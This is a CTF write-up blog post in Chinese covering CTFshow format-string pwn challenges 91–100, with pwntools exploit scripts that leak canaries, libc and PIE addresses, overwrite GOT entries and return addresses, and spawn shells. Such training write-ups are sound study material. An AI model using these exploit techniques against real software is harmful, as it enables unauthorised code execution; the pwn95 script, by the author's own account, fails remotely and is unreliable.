CTFshow-Pwn入门格式化字符串(91-100)

pwn91

保护:

是一个32位的,开了栈金丝雀,这意味着传统的简单栈溢出无用了

打开main函数,发现程序逻辑很简单,就是要我们让daniu变成6就好了

进入ctfshow()函数看看如何令daniu变成6

在这里我们就看见了格式化字符串的漏洞,楼哦对那个正在这两句话

1
2
read(0, s, 0x50u);
printf(s);

系统会输出用户可控输入s,这意味着我们可以在这个s里边放一些%x%p%s%n之类的格式化占位符,实现信息泄露或者任意地址写

正常来说,printf肯定是这样子用的

1
2
3
printf("%d", x);
printf("hello");
printf("%x %x", a, b);

也就是说,printf第一个参数是格式模板,之后才是要打印的数据

但这边是printf(s)

这意味着如果我输入多个%x这种格式符,printf会认为“噢这格式串里边有3个%x啊,那我要传3个整数参数才行”

但是代码里没有这仨参数啊

所以printf只能直接去栈上直接拿,但拿的是第几个呢?不知道

所以在实现这一个目标前,最重要的就是去确认我的输出到底在printf参数列表的第几个位置

我们可以在这里输入AAAA.%p%p%p%p%p%p%p%p。。。。。

观察第几个0x输出里边出现了41414141,即可说明我们的AAAA作为了第几个参数位被读到了

数一下就能发现在第七个参数位置,我们可以用AAAA.%7$x来进行确认

发现确实是没问题

1
2
3
4
5
for i in range(1, 20):
payload = f"AAAA%{i}$p"
if "41414141" in send_payload(payload):
print(f"Found offset at {i}")
break

https://blog.csdn.net/weixin_29322553/article/details/159134239

当然,如果懒得写那么多%x%p,我们也可以直接用脚本来嗅探出是第几个

知道偏移之后,我们就可以泄露任意地址了

只要我们知道某个地址,我们就可以直接把地址扔到输出里

1
2
3
%7$x:把第 7 个参数按整数打印
%7$s:把第 7 个参数当作“字符串地址”去读
%7$n:把第 7 个参数当作“写入目标地址”

比如我们想读一个整数地址附近的内容,我们就可以用p32(0x0804a02c) +b”AAAA%7$x”,内存大概如下:

1
[2c a0 04 08][41 41 41 41][25 37 24 78]

之后就会从这个地址读东西了

如果是$s,就会直接把这个地址作为指针,从这边开始一直读到\x00

但很明确我们这边不要读啊,我们要的是改daniu的数值

这边用到的就是%n了

它不会打印内容,而是直接把已输出的字符数写入参数指向的地址

daniu地址很好定位

我们要写入一共是6个数,所以是payload = p32(0x0804b038) + b”%2c%7$hhn”

1
2
3
%n:将当前已输出的字符数写入到指定参数所指向的地址。默认情况下,写入的是一个 int类型的大小,通常是 4 字节(在 32 位系统中)。
%hn:将当前已输出的字符数写入,但只写入 2 字节(half word)。
%hhn:将当前已输出的字符数写入,但只写入 1 字节(half half word,即一个字节)

因为前边的p32()这四个字节本身已经被printf输出计数计算了,所以我们再打印俩就是6了

当然也可以直接用pwntools帮我们完成payload = fmtstr_payload(7,{daniu:6})

直接写脚本吧,倒也没有很难

1
2
3
4
5
6
7
8
from pwn import *
context(arch='i386',os='linux',log_level='debug')
io = remote("pwn.challenge.ctf.show",28234)

daniu = 0x0804b038
payload = p32(daniu) + b"%2c%7$hhn"
io.sendline(payload)
io.interactive()

成功获取ctfshow{238e63c7-01d1-45e0-ab3c-5c32373f432d}

pwn92

原来还有更基础的吗

保护:

打开看看main函数,这边写了有例子

不亏是教学关,还有example

看看获得flag的函数,这边会直接读出format,也就是我输入的字符串,我输入%s的话会直接让s被读出,也就是这个/ctfshow_flag

直接就读出来了

ctfshow{571dcb15-9bb0-462f-bd48-21e25d1b1648}

pwn93

基础原理好啊

保护:

这些题确实是都只能用格式化字符串做

这菜单写挺好啊,程序崩溃、栈数据泄露、任意地址内存泄露、栈数据覆盖和任意地址内存覆盖,为我们都演示了一圈

而获取flag的值在case7

同样是直接获取的,没什么好说的,只是一个演示题

ctfshow{72324a2f-4ea6-48cb-8deb-caa49943a709}

pwn94

保护:

没怎么开保护啊,ida看看吧

可以看到这边直接就是在循环调用printf(buf),buf还是我们可以输入的

先确认一下参数位置

第六个参数就是了AAAA.%6$x

那接下来我们只需要用fmtstr_payload来将printf的got表改为system的plt即可,那么后续我们调用printf的时候其实调用的是system

再输入进参数,也就是/bin/sh即可得到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch='i386',os='linux',log_level='debug')
io = remote("pwn.challenge.ctf.show",28178)
elf = ELF('./pwn94')

system_plt = 0x8048400
printf_got = elf.got['printf']

payload = fmtstr_payload(6,{printf_got:system_plt})
io.sendline(payload)
io.recv()
io.sendline("/bin/sh\x00")

io.interactive()

pwn95

保护:

依旧32位,说是稍微难了一点,我们来看看

main函数之后就是这个,明显比上一题多了这样子一条

1
fflush(stdout);

输出会被刷新,不会留在缓冲区

其实不影响我们的格式化字符串的漏洞,但是这一题明显没了system函数,我们还得ret2libc搞一个来

所以这题跟上一题比就是读了一个泄露真实地址,获取libc_base,然后得到system函数的过程

而这个真实地址可以直接用格式化字符串漏洞来获取

我们试一下是不是参数仍然在第六位

没问题,参数还在第六位

那我们直接先写一个真实地址泄露好了

1
2
3
4
5
6
printf_got = elf['printf']
payload1 = p32(printf_got)+b'%6$s'
io.sendline(payload1)
printf_addr = u32(io.recvuntil('\xf7')[-4:])
libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr - libc.dump('printf')

如此甚好,我们直接写exp即可,除了这一部分和上一题也差不多了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux',log_level='debug')
io = remote("pwn.challenge.ctf.show",28250)
elf = ELF('./pwn95')

printf_got = elf.got['printf']
payload1 = p32(printf_got)+b'%6$s'
io.sendline(payload1)
printf_addr = u32(io.recvuntil('\xf7')[-4:])
libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')

payload2 = fmtstr_payload(6,{printf_got:system_addr})
io.sendline(payload2)
io.recv()
io.sendline("/bin/sh\x00")

io.interactive()

远程跑不出,但是本地能通,有点太诡异了,我没辙了,我看了很多线上别人的脚本都跑不通,真的是奇了怪了

网上也搜到有人用的是libc6_2.31-0ubuntu9.8_i386.so本地,但是用这个libc也跑不通远程

pwn96

保护:

pwn95做累了,看看pwn96吧

这边自己就打开了这个flag,然后自欺欺人写了个不存在,但偷偷藏到v3了,而下边是一个明显的格式化字符串漏洞

因此我们利用格式化字符串直接去读v3这一块就好了

由于程序已经把这个flag读到了一个局部缓冲区,而我们直接%p会往栈上取参数,这flag又正好在栈上躺着,所以我们这一题直接用一堆%p去上边读值就好了

1
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p 

注意内存里数据是小端序存储,我们得转化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

nums = [
0x73667463,
0x7b776f68,
0x65326436,
0x65333431,
0x6530652d,
0x66342d33,
0x382d3661,
0x2d336632,
0x37333662,
0x31326262,
0x32333839,
0xa7d
]

for x in nums:
print(p32(x).decode(), end='')

ctfshow{6d2e143e-e0e3-4fa6-82f3-b637bb219832}

pwn97

保护:

这边开了栈金丝雀,没法用栈溢出了,题目说覆写某个值满足某条件好像就可以了,或许是利用格式化字符串漏洞直接覆写之后就可以获得flag了?那不是和daniu一样吗

main函数明显的格式化字符串漏洞

这边会直接先判断输入里是否包含shutdown,我们如果有这个就直接exit了,所以不要有这个

之后如果输入里不包含cat /ctfshow_flag,才能调用格式化字符串

所以合着咱什么都不写就调用格式化字符串漏洞了

最后会get_flag()函数,打开看看

里边会check一下,只要过了就能进去flag()函数,这边很眼熟啊,pwn93那个,直接获取flag了

前边没什么难的,唯一重要的就是这个check必须绕过去

利用前边的那个格式化字符串改一下这个就好了,要让check变成非0值

位置在这边

那脚本很简单了,先测一下参数位置

在第十一

1
2
3
4
5
6
7
8
9
from pwn import *
context(arch='i386',os='linux',log_level='debug')
io = remote("pwn.challenge.ctf.show",28178)

check_addr = 0x804B040
payload = fmtstr_payload(11,{check_addr:1})

io.sendline(payload)
io.interactive()

成功获取flag

ctfshow{d589fba6-f063-43a3-b7bb-76ffd4e78eee}

pwn98

保护:

确实开了栈金丝雀

但是直接对着撞似乎不太合适,我们还是直接想办法绕过一下

可以看到这边有俩gets函数,按照想法,我认为是第一个拿来触发了格式化字符串漏洞,希望我们运用这个漏洞来绕过Canary,然后再在下一个gets函数处成功运用栈溢出

backdoor = 0x80486CE

还有这样子一个函数,我们只需要绕过Canary就能跳到这个地址然后直接得到shell了

所以目前唯一的问题就在于如何绕过Canary

先确认参数偏移位置

1
AAAA.%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p 

参数在第五位

发现因为0x34+4就直接栈溢出了,所以我们做不到直接这样子泄露得到Canary的位置

我们应该一个个找,找尾字节为00的Canary位置

1
2
3
4
5
%1$p
%2$p
%3$p
...
%20$p

最后确认为第15位(嫌烦可以写脚本来测

1
2
for i in range(1, 30):
payload = f"%{i}$08x".encode()

再看原来的逻辑

可以看到题目是在检测最后的canary和原来的是否一致,以保证栈未溢出,因为一溢出canary就会被修改,因此没改就是没溢出,而如今我们只需要输入%15$p就能得到这一次的canary

缓冲区填充+正确的金丝雀+占掉旧ebp的位置+真正的返回地址

s到栈顶是0x34我们知道了

只差canary到旧ebp的位置了

所以距离ebp是0xC

所以目标很明确了,写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(arch='i386',os='linux',log_level='debug')
io = remote("pwn.challenge.ctf.show",28217)
backdoor = 0x80486CE

io.recv()
io.sendline(b'%15$p')
canary=int(io.recv(),16)

payload = b'A' * (0x34-0xC)
payload += p32(canary)
payload += b'B' * 0xC
payload += p32(backdoor)

io.sendline(payload)
io.interactive()

得到flag

pwn99

盲打又来了。

既然是这一章,自然会想一想是不是有格式化字符串,果然直接就可以看到了,看起来是六十四位的

确实是六十四位,在第六个参数

盲打,我怀疑是直接在栈上了,我们写一个脚本来把栈上的内容全部打出来看看,注意64位小端序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context(os='linux', arch='amd64', log_level='error')

HOST = 'pwn.challenge.ctf.show'
PORT = 28177

def hex_to_le_ascii(hex_str):
if not hex_str.startswith('0x'):
return ''

try:
val = int(hex_str, 16)
raw = p64(val) # 64位小端
vis = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in raw)
return vis
except:
return ''

for i in range(1, 101):
try:
io = remote(HOST, PORT)
io.recv(timeout=0.5)

payload = f'%{i}$p'.encode()
io.sendline(payload)

data = io.recvall(timeout=1).decode(errors='ignore').strip()
io.close()

line = data.splitlines()[-2] if 'お前も舞うか?' in data and len(data.splitlines()) >= 2 else data.splitlines()[-1]
line = line.strip()

if line.startswith('0x'):
ascii_part = hex_to_le_ascii(line)
print(f'[{i:03d}] {line:<18} -> {ascii_part}')
else:
print(f'[{i:03d}] {line}')

except Exception as e:
print(f'[{i:03d}] ERROR: {e}')

果然成功得到flag

ctfshow{W0w_y0u_c@n_r3@11y_d@nce!}

pwn100

保护:

100就是不一样啊,开了那么多保护啊,开了pie怪麻烦的

概述全局

先看看main函数吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-14h] BYREF
int v4; // [rsp+10h] [rbp-10h] BYREF
unsigned int v5; // [rsp+14h] [rbp-Ch]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
initial(argc, argv, envp);
whattime();
v3 = 0;
v4 = 0;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v5 = get_int();
if ( v5 != 2 )
break;
fmt_attack(&v3);
}
if ( v5 > 2 )
break;
if ( v5 == 1 )
leak(&v4);
}
if ( v5 == 3 )
get_flag();
if ( v5 == 4 )
{
puts("Bye!");
exit(0);
}
}
}

发现很复杂,不要急我们一个个看

首先我们肯定是需要这个get_flag来得到flag

而这个函数只对s2有要求,它要求我们输入64字节数据到s2,要求这个s2必须和secret的前64字节完全相同,这样子才能得到flag

其实有想法是利用strncmp的特性\x00绕过,但是这边有一个close(1),用不了

那在这之前呢?就是在main函数走到get_flag

我们需要先从这俩while里边出来,然后再让v5==3

好继续逆向,我们一个个函数来看

上来一个whattime,没啥意义,没有漏洞点

继续往下,发现定义了两个变量v3v4,拿来当参数传进后边的函数的,稍微留心一下

接下来是menu()

完全没漏洞,继续往下看

1
v5 = get_int();

这个比较重要,因为这个可以决定我们的v5,其实也就是真正的菜单

发现这个v5是用read读的,还要atoi,也就是转化为整数,我们只需要输入2就能继续往下

接下来是这个fmt_attack函数,名字直接明说了这就是一个格式化字符串漏洞

但是可以发现,由于传进来的参数开始是0,调用之后这个v3就变成1了,这边强制我们只能用一次这个函数,但这是我们这一题的核心

fmt走完之后v5是2,会再走一次get_int

我们这个时候让v5为1就能进入leak函数

可以看到整个leak和函数有一个write函数

但是只允许我们读我们输入的这个地址的一个字节,只能读不能写,而且这玩意和fmt一样只能用一次,看上去有点废

用完之后继续让我们定一次v5,这次定成3就能进入get_flag了


到这边我们已经明白了函数的调用流程,明白了有多少可以利用的漏洞

我们距离成功只差一个利用漏洞使得s2和secret一样了,但是这很难,因为我们还需要对抗pie

对此似乎一次leak和一次fmt显得有点不够用了,我们再细致地检验一下


多次调用fmt

为了做到这些事情,我们必须多次调用格式化字符串漏洞,因此我们继续思考

不难想到,为什么我们不能在每次调用printf的时候先改一下*a1,也就是v3的大小呢?这样子等于我们无损用了一次fmt,每次都这样子搞不就无限用了吗

重点在于这个是第几个参数,我们动调一下

直接gdb,run,然后选2进入fmt环节

输入下边的

1
%1$p %2$p %3$p %4$p %5$p %6$p %7$p %8$p 

可以看到输出了8个地址,我们看看哪一个是v3的地址即可

在main函数可以看到v3是rbp-14h

我们看一下栈,发现了限制rbp是0x7fffffffdd60

所以也就是说v3应该是0x7fffffffdd60-0x14 = 0x7fffffffdd4c

也就是上边图片里的第七个参数

所以我们这边只要在payload前边先写个b’%7$n’就能直接写入0

终于能无限次调用fmt了

接下来我们只需要泄露一次PIE基址,再泄露一次栈上目标返回地址槽的地址,好让其直接跳到成功分支就好了

获取PIE基址

我们知道开了PIE之后会每次运行随机在一个地址,虽然每次运行随机,但是同一次里是一样的

不过我只需要泄露一个真实地址就能反推了其实

因为我们知道,call的返回地址是下一条指令

所以偏移是0x102C

我们只需要知道这个时候的运行地址就能得到elf_base了

在尝试后发现17的位置最像是pie下的运行地址

所以elf_base = %17$p - 0x102C

获取栈上目标返回地址

于此同时还试出来了16的位置与目标返回地址槽有稳定关系

必须分析一下栈的结构了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
高地址
────────────────────────────────────────────
[F+0x08] fmt_attack saved RIP ← 目标返回地址槽
内容 = main+0x76 = elf_base+0x102c

[F+0x00] fmt_attack saved RBP
内容 = main 的 rbp

[F-0x08] canary

[F-0x10] 可能的对齐/临时区域
[F-0x18] 可能的对齐/临时区域
[F-0x20] 可能的对齐/临时区域
[F-0x28] 某个栈上的参考位置
[F-0x30] ...
[F-0x40] buf 开始附近
...
────────────────────────────────────────────
低地址

发现了ret_addr应该是%16$p-0x28

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
elf = ELF('./pwn100')
io = remote('pwn.challenge.ctf.show', 28295)

def fmt(io, s: bytes):
io.sendlineafter(b'>>', b'2')
io.sendline(s)

def parse_after(io, delim: bytes) -> int:
io.recvuntil(delim)
return int(io.recvline().strip(), 16)

io.sendlineafter(b'What time is it :', b'1 1 1')

fmt(io, b'%7$n!%17$p')
code_ref = parse_after(io, b'!')
pie = code_ref - 0x102c
target = pie + 0xf56

fmt(io, b'%7$n|%16$p')
stack_ref = parse_after(io, b'|')
ret_slot = stack_ref - 0x28

want = target & 0xffff
payload = f'%{want}c%10$hn'.encode().ljust(0x10, b'B') + p64(ret_slot)
fmt(io, payload)

io.interactive()

得到flag


CTFshow-Pwn入门格式化字符串(91-100)
https://mei-you-qian.github.io/2026/03/18/格式化字符串/
作者
Meiyouqian
发布于
2026年3月18日
许可协议